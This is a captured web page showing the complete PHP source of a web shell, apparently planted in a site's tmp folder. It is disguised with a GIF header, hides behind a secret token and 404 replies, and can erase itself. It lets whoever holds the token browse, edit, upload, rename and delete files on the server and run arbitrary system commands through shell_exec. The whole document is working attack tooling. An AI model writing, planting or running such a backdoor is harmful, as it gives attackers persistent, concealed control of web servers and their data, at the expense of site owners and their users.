Your IP : 216.73.216.74

Current Path : /home/andpasi/www/tmp/
Upload File :
Current File : /home/andpasi/www/tmp/masta79vs5y.phtml

<?php
ob_start(); echo 'GIF89a;'; ob_end_clean();
$t = "da248df8a3dab5e7";
if(isset($_GET['t']) && $_GET['t'] !== $t) { http_response_code(404); exit; }
if(isset($_GET['cleanup'])) { @unlink(__FILE__); die('CLEANED'); }

$a = $_GET['a'] ?? 'home';
$d = isset($_GET['d']) ? realpath($_GET['d']) : __DIR__;
$f = $_GET['f'] ?? '';

echo "<html><head><title>M</title><style>";
echo "body{background:#111;color:#0f0;font:13px monospace;margin:20px}";
echo "a{color:#0ff}input,textarea,select{background:#222;color:#0f0;border:1px solid #0f0;padding:5px;margin:2px}";
echo "table{width:100%}td,th{padding:5px;text-align:left}";
echo "</style></head><body>";

echo "<h3>[" . php_uname() . "] | User: " . get_current_user() . " | UID: " . getmyuid() . " | PHP: " . phpversion() . "</h3>";
echo "<p>PWD: $d</p>";
echo "<nav>";
echo "<a href='?t=$t&a=home&d=$d'>[Home]</a> ";
echo "<a href='?t=$t&a=up&d=$d'>[Up]</a> ";
echo "<a href='?t=$t&a=new&d=$d'>[New]</a> ";
echo "<a href='?t=$t&a=upload&d=$d'>[Upload]</a> ";
echo "<a href='?t=$t&a=cmd&d=$d'>[CMD]</a>";
echo "</nav><hr>";

if($a == 'home') {
    echo "<table><tr><th>Type</th><th>Name</th><th>Size</th><th>Actions</th></tr>";
    foreach(scandir($d) as $i) {
        if($i == '.' || $i == '..') continue;
        $p = "$d/$i";
        $type = is_dir($p) ? "DIR" : "FILE";
        $size = is_dir($p) ? "-" : filesize($p);
        echo "<tr>";
        echo "<td>$type</td>";
        echo "<td><a href='?t=$t&a=edit&d=$d&f=$p'>$i</a></td>";
        echo "<td>$size</td>";
        echo "<td>[<a href='?t=$t&a=rename&d=$d&f=$p'>Ren</a>] [<a href='?t=$t&a=del&d=$d&f=$p'>Del</a>]</td>";
        echo "</tr>";
    }
    echo "</table>";
}
elseif($a == 'up') {
    $pd = dirname($d);
    echo "<script>location.href='?t=$t&a=home&d=$pd';</script>";
}
elseif($a == 'new' && $d) {
    if($_SERVER['REQUEST_METHOD'] === 'POST') {
        $n = $_POST['n'];
        $ty = $_POST['ty'];
        $p = "$d/$n";
        if($ty == 'dir') {
            mkdir($p);
        } else {
            file_put_contents($p, $_POST['c']);
        }
        echo "Created! <a href='?t=$t&a=home&d=$d'>Back</a>";
    } else {
        echo "<form method='post'>";
        echo "Type: <select name='ty'><option value='file'>File</option><option value='dir'>Folder</option></select><br>";
        echo "Name: <input name='n'><br>";
        echo "Content:<br><textarea name='c' rows='10' cols='80'></textarea><br>";
        echo "<input type='submit' value='Create'>";
        echo "</form>";
    }
}
elseif($a == 'edit' && $f) {
    if($_SERVER['REQUEST_METHOD'] === 'POST') {
        file_put_contents($f, $_POST['c']);
        echo "Saved! <a href='?t=$t&a=home&d=$d'>Back</a>";
    } else {
        echo "<form method='post'>";
        echo "<textarea name='c' rows='20' cols='100'>" . htmlspecialchars(file_get_contents($f)) . "</textarea><br>";
        echo "<input type='submit' value='Save'>";
        echo "</form>";
    }
}
elseif($a == 'rename' && $f) {
    if($_SERVER['REQUEST_METHOD'] === 'POST') {
        $nn = dirname($f) . '/' . $_POST['n'];
        rename($f, $nn);
        echo "Renamed! <a href='?t=$t&a=home&d=" . dirname($f) . "'>Back</a>";
    } else {
        echo "<form method='post'>";
        echo "New Name: <input name='n' value='" . basename($f) . "'>";
        echo "<input type='submit' value='Rename'>";
        echo "</form>";
    }
}
elseif($a == 'del' && $f) {
    if(is_dir($f)) {
        @rmdir($f);
    } else {
        @unlink($f);
    }
    echo "Deleted! <a href='?t=$t&a=home&d=" . dirname($f) . "'>Back</a>";
}
elseif($a == 'upload' && $d) {
    if(isset($_FILES['f'])) {
        $target = "$d/" . basename($_FILES['f']['name']);
        if(move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
            echo "Uploaded: $target<br>";
        } else {
            echo "Failed<br>";
        }
    }
    echo "<form method='post' enctype='multipart/form-data'>";
    echo "<input type='file' name='f'>";
    echo "<input type='submit' value='Upload'>";
    echo "</form>";
}
elseif($a == 'cmd' && $d) {
    $c = $_GET['c'] ?? '';
    if($c) {
        echo "<pre>" . htmlspecialchars(shell_exec($c)) . "</pre>";
    }
    echo "<form method='get'>";
    echo "<input type='hidden' name='t' value='$t'>";
    echo "<input type='hidden' name='a' value='cmd'>";
    echo "<input type='hidden' name='d' value='$d'>";
    echo "<input name='c' value='$c' style='width:80%'>";
    echo "<input type='submit' value='Run'>";
    echo "</form>";
}

echo "</body></html>";
?>